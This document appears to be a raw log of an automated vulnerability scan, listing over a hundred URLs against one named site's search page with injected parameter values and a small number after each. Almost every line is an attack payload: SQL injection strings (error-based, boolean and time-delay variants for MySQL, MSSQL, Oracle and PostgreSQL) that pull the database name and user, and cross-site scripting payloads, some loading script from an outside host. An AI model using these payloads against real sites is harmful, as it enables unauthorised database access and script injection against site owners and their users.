http://www.cncml.com/search.php?searchsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(28=77)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%22%20AND%20%22zU%22=%22jm 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%22)%20AND%2078=25%20AND%20(%228R%22=%228R 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25%22%29%20AND%2017%3D25%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25%27%29%20AND%2016%3D16%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25%27%29%20AND%2019%3D72%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25%27%29%20AND%2025%3D21%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25%27%29%20AND%2082%3D82%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%2035=35%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%2065=65%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%2069=22%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%2087=69%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/search.php?searchsubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(62=62)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=48)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=75)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(86=18)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%2527 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%2527%20AND%2026=83%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%2527%20AND%2057=57%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%5C%22 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%5C' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%bf%27 0.0001 http://www.cncml.com/search.php?searchsubmit=yes' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20'Mb'='Mb 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20'WJ'%20LIKE%20'YV 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20'gv'%20LIKE%20'gv 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20'hM'='4i 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20'm3'='ru 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20'rE'='rE 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%20'ZS'='ZS'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%20'cP'='El 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=71)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'1R'='1R 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'Ty'='Ty 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=22)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'xf'='xf 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'f9'='f9 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%22 0.0003 http://www.cncml.com/search.php?searchsubmit=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20('Qn'%20LIKE%20'ey 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20('SX'%20LIKE%20'SX 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%2011=11%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%2046=91%20AND%20('Uc'='Uc 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%2088=16%20AND%20('FA'='FA 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%2093=93%20AND%20('aT'='aT 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20OR%2052=11%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20OR%2085=85%20AND%20('mJ'='mJ 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=13)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('yu'='yu 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('LR'='LR 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=71)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('TU'='TU 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=48)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('OV'='OV 0.0001 http://www.cncml.com/search.php?searchsubmit=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 